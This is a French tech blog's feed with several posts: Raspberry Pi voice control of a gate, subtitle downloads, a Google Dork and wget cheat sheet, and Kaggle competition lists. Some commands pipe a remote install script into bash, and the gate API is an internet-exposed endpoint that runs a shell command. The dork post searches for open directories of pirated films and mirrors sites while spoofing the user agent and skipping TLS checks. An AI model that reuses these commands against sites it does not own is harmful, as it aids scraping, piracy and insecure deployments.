<p>Mon portail possède un actionneur de marque BFT (Ultra BT A 400). Ce dernier est fourni avec un moteur et sa carte électronique de commande qui me permettent d’ouvrir ou fermer le portail. Je me suis branché directement sur cette carte électronique et je la pilote grâce à un relais et un Raspberry Pi. Si on regarde le schéma de la carte électronique de commande du moteur ci-dessous, on peut voir qu’il y a deux inputs <code>IC1</code> et <code>IC2</code>.</p>
<br/>
<p><img src="/images/moteur-1.png" alt="image"></p>
<br/>
<p><code>IC1</code> permet d’ouvrir ou fermer le portail en grand et <code>IC2</code> permet de le faire en mode piéton.</p>
<p>Pour piloter le portail, il faut donc tirer 2 fils entre cette carte de commande et le relais et ensuite piloter le relais avec un Raspberry Pi. Le schéma du câblage est présent dans le paragraphe suivant.</p>
<br/>
<h2 id="hardware">Hardware</h2>
<p>Voici le matériel que j’ai utilisé:</p>
<ul>
<li>Raspberry Pi 2</li>
<li>Dongle Wifi Netgear</li>
<li>Alimentation 220V</li>
<li>Relay 5V</li>
<li>Quelques fils électriques</li>
<li>Une boite de dérivation</li>
</ul>
<p>Finalement il y a assez peu de matériel. La boite de dérivation, n’est pas indispensable mais elle permet de cacher les cables et cartes et ainsi d’avoir quelque chose de propre. En gros, une fois terminé, il n’y a pas des fils qui pendent à côté du tableau électrique. Voici à quoi cela ressemble chez moi:</p>
<p><img src="/images/DSC_0051.jpg" alt="image"></p>
<br/>
<p>Voici comment j’ai câblé mon relais et Raspberry Pi avec la commande IC1:</p>
<p><img src="/images/schema-pi-relay.jpeg" alt="image"></p>
<br/>
<h2 id="software">Software</h2>
<p>Pour piloter le GPIO du Raspberry Pi, j’utilise un script que j’ai réalisé en Python. En exécutant le script, la PIN 17 du GPIO prend alternativement la valeur 0 ou 5V. A chaque fois que le relais reçoit une impulsion de 5V, il change d’état; ce qui crée une impulsion sur IC1.</p>
<p>J’ai également créé une API NodeJS qui me permet d’exposer l’exécution de mon script Python, de sécuriser le tout et de créer une interface WEB de contrôle du portail (je ne la présente pas dans cet article).</p>
<p>Tout est donc exécuté directement sur le Raspberry Pi qui est accessible sur internet via ma box internet.</p>
<br/>
<h2 id="préparation-environnement">Préparation environnement</h2>
<h3 id="installation-de-nodejs">Installation de NodeJS</h3>
<pre tabindex="0"><code>wget -qO- https://raw.githubusercontent.com/creationix/nvm/v0.33.0/install.sh | bash
</code></pre><p>Ajouter les 2 commandes suivantes dans votre ~/.bashrc pour activer NVM.</p>
<pre tabindex="0"><code>export NVM_DIR=&#34;$HOME/.nvm&#34; 
[ -s &#34;$NVM_DIR/nvm.sh&#34; ] &amp;&amp; . &#34;$NVM_DIR/nvm.sh&#34; # This loads nvm
</code></pre><p>Vous pouvez maintenant utiliser NVM et utiliser la version de NodeJS que vous souhaitez.
Exécutez simplement la commande suivante:</p>
<pre tabindex="0"><code>nvm use 6.9.1 # sélectionnez la version de NodeJS que vous voulez
</code></pre><br/>
<h3 id="installation-de-python">Installation de Python</h3>
<pre tabindex="0"><code>apt-get update
apt-get install gcc
apt-get install python-dev
apt-get install python-pip
pip install RPi.GPIO
</code></pre><br/>
<h3 id="api-nodejs">API NodeJS</h3>
<p>Voici un extrait de code. C’est le endpoint ExpressJS qui exécute mon script Python via un fork unix.</p>
<pre tabindex="0"><code>router.get(&#39;/portail/toggle&#39;, (req, res) =&gt; {
  var exec = require(&#39;child_process&#39;).exec;
  var cmd = &#39;python /home/pi/relay.py 2&#39;;
 
  exec(cmd, function(error, stdout, stderr) {
    if(error)
      return next(error);
    res.send({msg: &#39;Yeah it works!&#39;});
  });
});
</code></pre><br/>
<h3 id="script-python">Script Python</h3>
<pre tabindex="0"><code>#!/usr/bin/python
 
import sys
import time
import RPi.GPIO as GPIO
GPIO.setwarnings(False)
GPIO.setmode(GPIO.BCM)
 
args = sys.argv
pin = 17 # GPIO PIN 17
GPIO.setup(pin, GPIO.OUT)
ctl = args[1]
 
# [...] Reste du code ici. En effet, mon Raspberry ne me sert pas qu&#39;à piloter le portail.
 
if (int(ctl) == 2):
  GPIO.output(pin,GPIO.HIGH)
  time.sleep(2)
  GPIO.output(pin, GPIO.LOW)
</code></pre><br/>
<h3 id="automatisation-sur-android-via-tasker">Automatisation sur Android via Tasker</h3>
<p>Voyons maintenant comment j’ai fait pour que mon téléphone comprenne ce que je lui dis et comment il communique avec  l’API NodeJS pour ouvrir ou fermer mon portail.</p>
<p>Pour avancer de façon Lean sur ce projet, j’ai commencé par quelque chose de simple. Je vous parlerais de la finalité de ce que je veux faire avec ce projet en conclusion de cet article.</p>
<p>J’ai utilisé les fonctionnalités de reconnaissance vocale de Google Now sans rien développer.</p>
<p>Pour ce faire, j’ai utilisé l’application d’automatisation de tâches appelée Tasker ainsi que son plugin AutoVoice.</p>
<p>Pour que mon téléphone envoie une requête à mon API Node pour ouvrir le portail quand je prononce la phrase: « Sésame ouvre-toi », il suffit de définir une tâche qui permet d’envoyer une requête vers une URL et définir des profils. Un exemple de profil peut être: si Google Now reconnait une phrase en particulier comme par exemple « Sésame ouvre-toi » alors j’exécute une tâche.</p>
<p>Beaucoup de tutoriaux sont disponibles sur internet. En voici un par exemple: <a href="http://lifehacker.com/how-to-create-custom-voice-commands-with-tasker-and-aut-1282209195">http://lifehacker.com/how-to-create-custom-voice-commands-with-tasker-and-aut-1282209195</a></p>
<br/>
<h3 id="tests-et-industrialisation">Tests et industrialisation</h3>
<p>J’ai eu beaucoup de chance car je n’ai rencontré absolument aucun obstacle et avais tout ce qu’il me fallait sous la main. Après quelques tests tout a très vite fonctionné.</p>
<p>Ma dernière tâche, avant de ranger tous les câbles proprement dans le tableau électrique, a consisté à créer un script de démarrage et à installer un process manager pour NodeJS (PM2).</p>
<p>J’ai donc créé un script nodeStartupHomeAutomation dans /etc/init.d/ et installé les 2 librairies suivantes sur le Raspberry Pi.</p>
<pre tabindex="0"><code>apt-get install psmisc
npm install -g pm2
</code></pre><p>Voici à quoi peut ressembler le script de démarrage:</p>
<pre tabindex="0"><code>#! /bin/sh
# /etc/init.d/nodeStartupHomeAutomation
 
# If you want a command to always run, put it here
 
# Carry out specific functions when asked to by the system
case &#34;$1&#34; in
start)
echo &#34;Starting Node Server&#34;
 
export NVM_DIR=&#34;/home/pi/.nvm&#34;
[ -s &#34;$NVM_DIR/nvm.sh&#34; ] &amp;&amp; . &#34;$NVM_DIR/nvm.sh&#34; # This loads nvm
 
# run application you want to start
cd /home/pi/home-automation/
pm2 start app.js --name=&#34;homeAuto&#34;
# node app.js &amp;
;;
stop)
echo &#34;Stopping Node Server&#34;
 
# kill application you want to stop
pm2 stop homeAuto
# killall node
;;
*)
echo &#34;Usage: /etc/init.d/nodeStartupHomeAutomation {start|stop}&#34;
exit 1
;;
esac
 
exit 0
</code></pre><p>Pour vérifier que le service démarre convenablement, qu’il se stoppe bien et pour l’enregistrer aux services de démarrage, vous pouvez utiliser les commandes suivantes:</p>
<pre tabindex="0"><code>chmod 755 /etc/init.d/nodeStartupHomeAutomation
 
# Test du démarrage du script
/etc/init.d/nodeStartupHomeAutomation start
 
# Test de l&#39;arrêt du script
/etc/init.d/nodeStartupHomeAutomation stop 
 
#Enregistrement du script pour être lancé au démarrage de la machine une fois qu&#39;il est ok 
update-rc.d nodeStartupHomeAutomation defaults 
</code></pre><br/>
<h2 id="conclusion">Conclusion</h2>
<p>Voilà c’est à peu près tout pour cet article. Il n’en faut pas beaucoup plus pour piloter un portail avec des commandes vocales sur un Smartphone.</p>
<p>Pour ce projet, je ne veux pas en rester là. Je vais passer le tout sur Docker si bien sûr je peux accéder au GPIO depuis un container.</p>
<p>De plus aujourd’hui je dépends d’internet. Si je n’ai plus internet sur mon Smartphone, aucune commande ne peut être envoyée vers mon Raspberry Pi.</p>
<p>Pour palier à ce problème et faire du Deep Learning sur un cas concret, je vais mettre en place une caméra à l’extérieure de chez moi qui va filmer en permanence ce qui vient vers le portail. Si ma voiture est reconnue, alors je vais ouvrir le portail et allumer les lumières de chez moi. Pour ce faire, je vais utiliser TensorFlow et un réseau de neurones profond. Cela fera l’objet d’un autre article.</p>
<p>Si le temps me le permet et purement à des fins d’apprentissage, j’essayerai de mettre en place manuellement de la reconnaissance vocale et remplacer Google Now.</p>]]></content>
        </item>
        
        <item>
            <title>Obtenir les sous-titres d&#39;un film en 2 secondes</title>
            <link>https://leandeep.com/obtenir-les-sous-titres-dun-film-en-2-secondes/</link>
            <pubDate>Fri, 30 Dec 2016 21:26:00 +0000</pubDate>
            
            <guid>https://leandeep.com/obtenir-les-sous-titres-dun-film-en-2-secondes/</guid>
            <description>&lt;p&gt;Aujourd&amp;rsquo;hui nous allons voir une petite astuce plutôt utile si vous aimez regarder des films ou séries en VO et avoir à disposition les sous-titres (en français ou anglais).
J&amp;rsquo;ai trouvé un projet opensource permettant de télécharger automatiquement les sous-titres. &lt;a href=&#34;https://github.com/Diaoul/subliminal&#34;&gt;https://github.com/Diaoul/subliminal&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Si vous avez Docker, exécutez la commande suivante:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;docker run --rm --name subliminal -v /Users/olivier/Movies/Series/subliminal_cache:/usr/src/cache -v /Users/olivier/Movies/Series:/Users/olivier/Movies/Series -it diaoulael/subliminal download -l en /Users/olivier/Movies/Series/votre_serie_ou_film.mkv
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Si vous voulez automatiser davantage, ce repository vous donne un snippet permettant de scanner le contenu d&amp;rsquo;un dossier et télécharger des sous-titres.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Aujourd&rsquo;hui nous allons voir une petite astuce plutôt utile si vous aimez regarder des films ou séries en VO et avoir à disposition les sous-titres (en français ou anglais).
J&rsquo;ai trouvé un projet opensource permettant de télécharger automatiquement les sous-titres. <a href="https://github.com/Diaoul/subliminal">https://github.com/Diaoul/subliminal</a></p>
<p>Si vous avez Docker, exécutez la commande suivante:</p>
<pre tabindex="0"><code>docker run --rm --name subliminal -v /Users/olivier/Movies/Series/subliminal_cache:/usr/src/cache -v /Users/olivier/Movies/Series:/Users/olivier/Movies/Series -it diaoulael/subliminal download -l en /Users/olivier/Movies/Series/votre_serie_ou_film.mkv
</code></pre><p>Si vous voulez automatiser davantage, ce repository vous donne un snippet permettant de scanner le contenu d&rsquo;un dossier et télécharger des sous-titres.</p>
<pre tabindex="0"><code>from datetime import timedelta

from babelfish import Language
from subliminal import download_best_subtitles, region, save_subtitles, scan_videos

# configure the cache
region.configure(&#39;dogpile.cache.dbm&#39;, arguments={&#39;filename&#39;: &#39;cachefile.dbm&#39;})

# scan for videos newer than 2 weeks and their existing subtitles in a folder
videos = scan_videos(&#39;/video/folder&#39;, age=timedelta(weeks=2))

# download best subtitles
subtitles = download_best_subtitles(videos, {Language(&#39;eng&#39;), Language(&#39;fra&#39;)})

# save them to disk, next to the video
for v in videos:
    save_subtitles(v, subtitles[v])
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Commandes utiles Google Dork</title>
            <link>https://leandeep.com/commandes-utiles-google-dork/</link>
            <pubDate>Thu, 29 Dec 2016 06:48:00 +0000</pubDate>
            
            <guid>https://leandeep.com/commandes-utiles-google-dork/</guid>
            <description>&lt;p&gt;Voici une liste de commandes utiles pour télécharger l&amp;rsquo;intégralité de &lt;em&gt;directory listings&lt;/em&gt; trouvés grâce à des Google Dorks:&lt;/p&gt;
&lt;p&gt;Un google Dork est une signature typique d’une technologie Web parmi tout ce qui est indexé par Google. Ils sont lié à ce qu&amp;rsquo;on appelle plus généralement les Google Hacks. Vous savez les fameuses commandes comme par exemple &lt;code&gt;intitle:index.of? mkv &amp;lt;Movie Name&amp;gt;&lt;/code&gt; ou &lt;code&gt;&amp;lt;Movie Name&amp;gt; -inurl:(htm|html|php|pls|txt) intitle:index.of &amp;quot;last modified&amp;quot; (mp4|wma|aac|avi)&lt;/code&gt; ou &lt;code&gt;parent directory index of french dvdrip&lt;/code&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Voici une liste de commandes utiles pour télécharger l&rsquo;intégralité de <em>directory listings</em> trouvés grâce à des Google Dorks:</p>
<p>Un google Dork est une signature typique d’une technologie Web parmi tout ce qui est indexé par Google. Ils sont lié à ce qu&rsquo;on appelle plus généralement les Google Hacks. Vous savez les fameuses commandes comme par exemple <code>intitle:index.of? mkv &lt;Movie Name&gt;</code> ou <code>&lt;Movie Name&gt; -inurl:(htm|html|php|pls|txt) intitle:index.of &quot;last modified&quot; (mp4|wma|aac|avi)</code> ou <code>parent directory index of french dvdrip</code></p>
<blockquote>
<p>Le Google hacking est une technique consistant à utiliser un moteur de recherche, généralement Google, en vue de chercher des vulnérabilités ou de récupérer des données sensibles. Cette technique s&rsquo;appuie sur les résultats de l&rsquo;exploration et de l&rsquo;indexation des sites internet par le robot Googlebot. Source: Wikipédia</p></blockquote>
<br/>
<p>Pour reprendre le téléchargement depuis là où il s&rsquo;était arrêté:</p>
<pre tabindex="0"><code>wget -c www.myfileserver.com/file1.zip
</code></pre><br/>
<p>Pour télécharger depuis différents sites:</p>
<pre tabindex="0"><code>wget -i /path/to/inputfile
# /path/to/inputfile will contain:
http://www.myfileserver.com/file1.zip
http://www.myfileserver.com/file2.zip
http://www.myfileserver.com/file3.zip
</code></pre><br/>
<p>Pour faire 10 retries en cas d&rsquo;arrêt de téléchargement:</p>
<pre tabindex="0"><code>wget -t 10 -i /path/to/inputfile
</code></pre><br/>
<p>Pour faire 10 retries en cas d&rsquo;arrêt de téléchargement + timeout de 10 secondes entre 2 retries:</p>
<pre tabindex="0"><code>wget -t 10 -T 10 -i /path/to/inputfile
</code></pre><br/>
<p>Pour attendre entre 2 téléchargements:</p>
<pre tabindex="0"><code>wget -w 60 -i /path/to/inputfile
</code></pre><br/>
<p>Pour ajouter un quota de 100m (en cas de limitation de bandwidth):</p>
<pre tabindex="0"><code>wget -q 100m -i /path/to/inputfile
</code></pre><br/>
<p>Pour télécharger tous les fichiers d&rsquo;un dossier de manière récursive:</p>
<pre tabindex="0"><code>wget -r www.myfileserver.com
</code></pre><blockquote>
<p>if the TLS is not valid anymore: <code>--no-check-certificate</code></p></blockquote>
<br/>
<p>Pour télécharger tout le contenu d&rsquo;un dossier</p>
<pre tabindex="0"><code>wget -np -r -l 2 --no-check-certificate www.myfileserver.com
</code></pre><br/>
<p>Par défaut la profondeur de téléchargement est de 5. Pour avoir un téléchargement de tout le contenu d&rsquo;un site:</p>
<pre tabindex="0"><code>wget -r -l inf www.myfileserver.com
</code></pre><br/>
<p>Pour télécharger tous les fichiers d&rsquo;un dossier de manière récursive et tout mettre dans le même dossier:</p>
<pre tabindex="0"><code>wget -nd -r
</code></pre><br/>
<p>L&rsquo;inverse (i.e. créer l&rsquo;arborescence de dossiers):</p>
<pre tabindex="0"><code>wget -x -r
</code></pre><br/>
<p>Pour télécharger seulement certains types de fichiers:</p>
<pre tabindex="0"><code>wget -A &#34;*.mp3&#34; -r
</code></pre><br/>
<p>L&rsquo;inverse (télécharger tous les types de fichiers sauf):</p>
<pre tabindex="0"><code>wget -R &#34;*.exe&#34; -r
</code></pre><br/>
<p>Fake 302 redirects et Robots.txt</p>
<pre tabindex="0"><code>wget -x -P local_dir -U Mozilla --wait=60 --limit-rate=20K --convert-links -p -m &lt;url-du-site-a-scraper&gt;
</code></pre><p>Ajouter <code>-nH</code> à la commande précédente pour télécharger uniquement un dossier.</p>
]]></content>
        </item>
        
        <item>
            <title>Retour d&#39;expérience, Évaluation d’Ionic 2 Beta 11</title>
            <link>https://leandeep.com/retour-dexp%C3%A9rience-%C3%A9valuation-dionic-2-beta-11/</link>
            <pubDate>Wed, 10 Aug 2016 19:16:00 +0000</pubDate>
            
            <guid>https://leandeep.com/retour-dexp%C3%A9rience-%C3%A9valuation-dionic-2-beta-11/</guid>
            <description>&lt;p&gt;Ionic a annoncé la sortie de sa version Ionic 2 beta 11.
J’ai voulu tester Ionic 2 et les nouveaux services disponibles.&lt;/p&gt;
&lt;p&gt;Franchement c’est très impressionnant. En quelques heures seulement j’ai pu réaliser une application Android qui permet de recevoir les dernières news sur TensorFlow, d’envoyer des push notifications et qui se met à jour toute seule grâce au service &lt;a href=&#34;https://ionicframework.com/products/deploy&#34;&gt;Deploy&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;C’est une première application minimaliste mais cela m’a permis de tester Ionic 2. Vivement sa sortie définitive… L’application est téléchargeable ici: &lt;a href=&#34;https://play.google.com/store/apps/details?id=ml.leandeep.com&#34;&gt;https://play.google.com/store/apps/details?id=ml.leandeep.com&lt;/a&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Ionic a annoncé la sortie de sa version Ionic 2 beta 11.
J’ai voulu tester Ionic 2 et les nouveaux services disponibles.</p>
<p>Franchement c’est très impressionnant. En quelques heures seulement j’ai pu réaliser une application Android qui permet de recevoir les dernières news sur TensorFlow, d’envoyer des push notifications et qui se met à jour toute seule grâce au service <a href="https://ionicframework.com/products/deploy">Deploy</a>.</p>
<p>C’est une première application minimaliste mais cela m’a permis de tester Ionic 2. Vivement sa sortie définitive… L’application est téléchargeable ici: <a href="https://play.google.com/store/apps/details?id=ml.leandeep.com">https://play.google.com/store/apps/details?id=ml.leandeep.com</a></p>
<p><img src="/images/screenshot-app-playstore-ionic.png" alt="image"></p>
]]></content>
        </item>
        
        <item>
            <title>Insights pour Use Cases Sequences Machine Learning</title>
            <link>https://leandeep.com/insights-pour-use-cases-sequences-machine-learning/</link>
            <pubDate>Sun, 31 Jul 2016 21:39:00 +0000</pubDate>
            
            <guid>https://leandeep.com/insights-pour-use-cases-sequences-machine-learning/</guid>
            <description>&lt;p&gt;Cette compilation de compétitions Kaggle autour de sujets de NLP peut vous faire gagner du temps dans vos propres Use Cases.&lt;/p&gt;
&lt;br/&gt;
&lt;h3 id=&#34;integer-sequence-learning&#34;&gt;&lt;a href=&#34;https://www.kaggle.com/c/integer-sequence-learning&#34;&gt;Integer Sequence Learning&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Thu 2 Jun 2016 - Fri 30 Sep 2016&lt;/p&gt;
&lt;p&gt;The On-Line Encyclopedia of Integer Sequences is a 50+ year effort by mathematicians the world over to catalog sequences of integers.&lt;/p&gt;
&lt;br/&gt;
&lt;h3 id=&#34;the-winton-stock-market-challenge&#34;&gt;&lt;a href=&#34;https://www.kaggle.com/c/the-winton-stock-market-challenge&#34;&gt;The Winton Stock Market Challenge&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Tue 27 Oct 2015 – Tue 26 Jan 2016&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Cette compilation de compétitions Kaggle autour de sujets de NLP peut vous faire gagner du temps dans vos propres Use Cases.</p>
<br/>
<h3 id="integer-sequence-learning"><a href="https://www.kaggle.com/c/integer-sequence-learning">Integer Sequence Learning</a></h3>
<p>Thu 2 Jun 2016 - Fri 30 Sep 2016</p>
<p>The On-Line Encyclopedia of Integer Sequences is a 50+ year effort by mathematicians the world over to catalog sequences of integers.</p>
<br/>
<h3 id="the-winton-stock-market-challenge"><a href="https://www.kaggle.com/c/the-winton-stock-market-challenge">The Winton Stock Market Challenge</a></h3>
<p>Tue 27 Oct 2015 – Tue 26 Jan 2016</p>
<p>In this recruiting competition, Winton challenges you to take on the very difficult task of predicting the future (stock returns). Given historical stock performance and a host of masked features, can you predict intra and end of day returns without being deceived by all the noise?</p>
<br/>
<h3 id="denoising-dirty-documents"><a href="https://www.kaggle.com/c/denoising-dirty-documents">Denoising Dirty Documents</a></h3>
<p>Mon 1 Jun 2015 – Mon 5 Oct 2015</p>
<p>Remove noise from printed text</p>
<br/>
<h3 id="grasp-and-lift-eeg-detection"><a href="https://www.kaggle.com/c/grasp-and-lift-eeg-detection">Grasp-and-Lift EEG Detection</a></h3>
<p>Mon 29 Jun 2015 – Mon 31 Aug 2015</p>
<p>Identify hand motions from EEG recordings</p>
<br/>
<h3 id="bag-of-words-meets-bags-of-popcorn"><a href="https://www.kaggle.com/c/word2vec-nlp-tutorial">Bag of Words Meets Bags of Popcorn</a></h3>
<p>Tue 9 Dec 2014 – Tue 30 Jun 2015</p>
<p>Use Google&rsquo;s Word2Vec for movie reviews</p>
<br/>
<h3 id="billion-word-imputation"><a href="https://www.kaggle.com/c/billion-word-imputation">Billion Word Imputation</a></h3>
<p>Thu 8 May 2014 – Fri 1 May 2015</p>
<p>Find and impute missing words in the billion word corpus</p>
<br/>
<h3 id="sentiment-analysis-on-movie-reviews"><a href="https://www.kaggle.com/c/sentiment-analysis-on-movie-reviews">Sentiment Analysis on Movie Reviews</a></h3>
<p>Fri 28 Feb 2014 – Sat 28 Feb 2015</p>
<p>Classify the sentiment of sentences from the Rotten Tomatoes dataset</p>
<br/>
<h3 id="predict-seizures-in-intracranial-eeg-recordings"><a href="https://www.kaggle.com/c/seizure-prediction">Predict seizures in intracranial EEG recordings</a></h3>
<p>Mon 25 Aug 2014 – Mon 17 Nov 2014</p>
<p>Predict seizures in intracranial EEG recordings</p>
<br/>
<h3 id="tradeshift-text-classification"><a href="https://www.kaggle.com/c/tradeshift-text-classification">Tradeshift Text Classification</a></h3>
<p>Thu 2 Oct 2014 – Mon 10 Nov 2014</p>
<p>Classify text blocks in documents</p>
<br/>
<h3 id="the-hunt-for-prohibited-content"><a href="https://www.kaggle.com/c/avito-prohibited-content">The Hunt for Prohibited Content</a></h3>
<p>Tue 24 Jun 2014 – Sun 31 Aug 2014</p>
<p>Predict which ads contain illicit content</p>
<br/>
<h3 id="large-scale-hierarchical-text-classification"><a href="https://www.kaggle.com/c/lshtc">Large Scale Hierarchical Text Classification</a></h3>
<p>Wed 22 Jan 2014 – Tue 22 Apr 2014</p>
<p>Classify Wikipedia documents into one of 325,056 categories</p>
<br/>
<h3 id="personalized-web-search-challenge"><a href="https://www.kaggle.com/c/yandex-personalized-web-search-challenge">Personalized Web Search Challenge</a></h3>
<p>Fri 11 Oct 2013 – Fri 10 Jan 2014</p>
<p>Re-rank web documents using personal preferences</p>
<br/>
<h3 id="facebook-recruiting-iii---keyword-extraction"><a href="https://www.kaggle.com/c/facebook-recruiting-iii-keyword-extraction">Facebook Recruiting III - Keyword Extraction</a></h3>
<p>Fri 30 Aug 2013 – Fri 20 Dec 2013</p>
<p>This competition tests your text skills on a large dataset from the Stack Exchange sites.  The task is to predict the tags (a.k.a. keywords, topics, summaries), given only the question text and its title. The dataset contains content from disparate stack exchange sites, containing a mix of both technical and non-technical questions.</p>
<br/>
<h3 id="partly-sunny-with-a-chance-of-hashtags"><a href="https://www.kaggle.com/c/crowdflower-weather-twitter">Partly Sunny with a Chance of Hashtags</a></h3>
<p>Fri 27 Sep 2013 – Sun 1 Dec 2013</p>
<p>What can a #machine learn from tweets about the #weather?</p>
<br/>
<h3 id="multi-label-bird-species-classification---nips-2013"><a href="https://www.kaggle.com/c/multilabel-bird-species-classification-nips2013">Multi-label Bird Species Classification - NIPS 2013</a></h3>
<p>Wed 16 Oct 2013 – Sun 24 Nov 2013</p>
<p>Identify which of 87 classes of birds and amphibians are present into 1000 continuous wild sound recordings</p>
<br/>
<h3 id="belkin-energy-disaggregation-competition"><a href="https://www.kaggle.com/c/belkin-energy-disaggregation-competition">Belkin Energy Disaggregation Competition</a></h3>
<p>Tue 2 Jul 2013 – Wed 30 Oct 2013</p>
<p>Disaggregate household energy consumption into individual appliances</p>
<br/>
<h3 id="mlsp-2013-bird-classification-challenge"><a href="https://www.kaggle.com/c/mlsp-2013-birds">MLSP 2013 Bird Classification Challenge</a></h3>
<p>Mon 17 Jun 2013 – Mon 19 Aug 2013</p>
<p>Predict the set of bird species present in an audio recording, collected in field conditions.</p>
<br/>
<h3 id="the-icml-2013-whale-challenge---right-whale-redux"><a href="https://www.kaggle.com/c/the-icml-2013-whale-challenge-right-whale-redux">The ICML 2013 Whale Challenge - Right Whale Redux</a></h3>
<p>Fri 10 May 2013 – Mon 17 Jun 2013</p>
<p>Develop recognition solutions to detect and classify right whales for BIG data mining and exploration studies</p>
<br/>
<h3 id="the-icml-2013-bird-challenge"><a href="https://www.kaggle.com/c/the-icml-2013-bird-challenge">The ICML 2013 Bird Challenge</a></h3>
<p>Wed 8 May 2013 – Mon 17 Jun 2013</p>
<p>Identify bird species from continuous audio recordings</p>
<br/>
<h3 id="cprod1-consumer-products-contest-1"><a href="https://www.kaggle.com/c/cprod1">CPROD1: Consumer PRODucts contest #1</a></h3>
<p>Mon 2 Jul 2012 – Mon 24 Sep 2012</p>
<p>Identify product mentions within a largely user-generated web-based corpus and disambiguate the mentions against a large product catalog.</p>
<br/>
<h3 id="detecting-insults-in-social-commentary"><a href="https://www.kaggle.com/c/detecting-insults-in-social-commentary">Detecting Insults in Social Commentary</a></h3>
<p>Tue 18 Sep 2012 – Fri 21 Sep 2012</p>
<p>The challenge is to detect when a comment from a conversation would be considered insulting to another participant in the conversation.</p>
<br/>
<h3 id="gigaom-wordpress-challenge-splunk-innovation-prospect"><a href="https://www.kaggle.com/c/predict-wordpress-likes">GigaOM WordPress Challenge: Splunk Innovation Prospect</a></h3>
<p>Wed 20 Jun 2012 – Fri 7 Sep 2012</p>
<p>Predict which blog posts someone will like.</p>
<br/>
<h3 id="the-hewlett-foundation-short-answer-scoring"><a href="https://www.kaggle.com/c/asap-sas">The Hewlett Foundation: Short Answer Scoring</a></h3>
<p>Mon 25 Jun 2012 – Wed 5 Sep 2012</p>
<p>Develop a scoring algorithm for student-written short-answer responses.</p>
<br/>
<h3 id="emc-israel-data-science-challenge"><a href="https://www.kaggle.com/c/emc-data-science">EMC Israel Data Science Challenge</a></h3>
<p>Mon 18 Jun 2012 – Sat 1 Sep 2012</p>
<p>Match source code files to the open source code project</p>
<br/>
<h3 id="the-hewlett-foundation-automated-essay-scoring"><a href="https://www.kaggle.com/c/asap-aes">The Hewlett Foundation: Automated Essay Scoring</a></h3>
<p>Fri 10 Feb 2012 – Mon 30 Apr 2012</p>
<p>Develop an automated scoring algorithm for student-written essays.</p>
<br/>
<h3 id="the-marinexplore-and-cornell-university-whale-detection-challenge"><a href="https://www.kaggle.com/c/whale-detection-challenge">The Marinexplore and Cornell University Whale Detection Challenge</a></h3>
<p>Fri 8 Feb 2013 – Mon 8 Apr 2013</p>
<p>Create an algorithm to detect North Atlantic right whale calls from audio recordings, prevent collisions with shipping traffic</p>
<br/>
<h3 id="icfhr-2012---arabic-writer-identification"><a href="https://www.kaggle.com/c/awic2012">ICFHR 2012 - Arabic Writer Identification</a></h3>
<p>Tue 21 Feb 2012 – Sun 15 Apr 2012</p>
<p>Identify which writer wrote which documents.</p>
<br/>
<h3 id="icdar-2011---arabic-writer-identification"><a href="https://www.kaggle.com/c/WIC2011">ICDAR 2011 - Arabic Writer Identification</a></h3>
<p>Mon 28 Feb 2011 – Sun 10 Apr 2011</p>
<p>This competition require participants to develop an algorithm to identify who wrote which documents. The winner will be honored at a special session of the ICDAR 2011 conference.</p>
]]></content>
        </item>
        
        <item>
            <title>Insights pour Use Cases inclassables Machine Learning</title>
            <link>https://leandeep.com/insights-pour-use-cases-inclassables-machine-learning/</link>
            <pubDate>Sat, 30 Jul 2016 23:42:00 +0000</pubDate>
            
            <guid>https://leandeep.com/insights-pour-use-cases-inclassables-machine-learning/</guid>
            <description>&lt;p&gt;Cette compilation de compétitions Kaggle autour de sujets inclassables peut vous faire gagner du temps dans vos propres Use Cases.&lt;/p&gt;
&lt;br/&gt;
&lt;h3 id=&#34;facebook-v-predicting-check-ins&#34;&gt;&lt;a href=&#34;https://www.kaggle.com/c/facebook-v-predicting-check-ins&#34;&gt;Facebook V: Predicting Check Ins&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Wed 11 May 2016 – Wed 6 Jul 2016&lt;/p&gt;
&lt;p&gt;The goal of this competition is to predict which place a person would like to check in to. For the purposes of this competition, Facebook created an artificial world consisting of more than 100,000 places located in a 10 km by 10 km square. For a given set of coordinates, your task is to return a ranked list of the most likely places.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Cette compilation de compétitions Kaggle autour de sujets inclassables peut vous faire gagner du temps dans vos propres Use Cases.</p>
<br/>
<h3 id="facebook-v-predicting-check-ins"><a href="https://www.kaggle.com/c/facebook-v-predicting-check-ins">Facebook V: Predicting Check Ins</a></h3>
<p>Wed 11 May 2016 – Wed 6 Jul 2016</p>
<p>The goal of this competition is to predict which place a person would like to check in to. For the purposes of this competition, Facebook created an artificial world consisting of more than 100,000 places located in a 10 km by 10 km square. For a given set of coordinates, your task is to return a ranked list of the most likely places.</p>
<br/>
<h3 id="expedia-hotel-recommendations"><a href="https://www.kaggle.com/c/expedia-hotel-recommendations">Expedia Hotel Recommendations</a></h3>
<p>Fri 15 Apr 2016 – Fri 10 Jun 2016</p>
<p>Which hotel type will an Expedia customer book?</p>
<br/>
<h3 id="santa"><a href="https://www.kaggle.com/c/santas-stolen-sleigh">Santa&rsquo;s Stolen Sleigh</a></h3>
<p>Tue 1 Dec 2015 – Fri 8 Jan 2016</p>
<p>Given the sleigh&rsquo;s antiquated, weight-limited specifications, your challenge is to optimize the routes and loads Santa will take to and from the North Pole.</p>
<br/>
<h3 id="coupon-purchase-prediction"><a href="https://www.kaggle.com/c/coupon-purchase-prediction">Coupon Purchase Prediction</a></h3>
<p>Thu 16 Jul 2015 – Wed 30 Sep 2015</p>
<p>Predict which coupons a customer will buy</p>
<br/>
<h3 id="ecmlpkdd-15-taxi-trajectory-prediction-i"><a href="https://www.kaggle.com/c/pkdd-15-predict-taxi-service-trajectory-i">ECML/PKDD 15: Taxi Trajectory Prediction (I)</a></h3>
<p>Mon 20 Apr 2015 – Wed 1 Jul 2015</p>
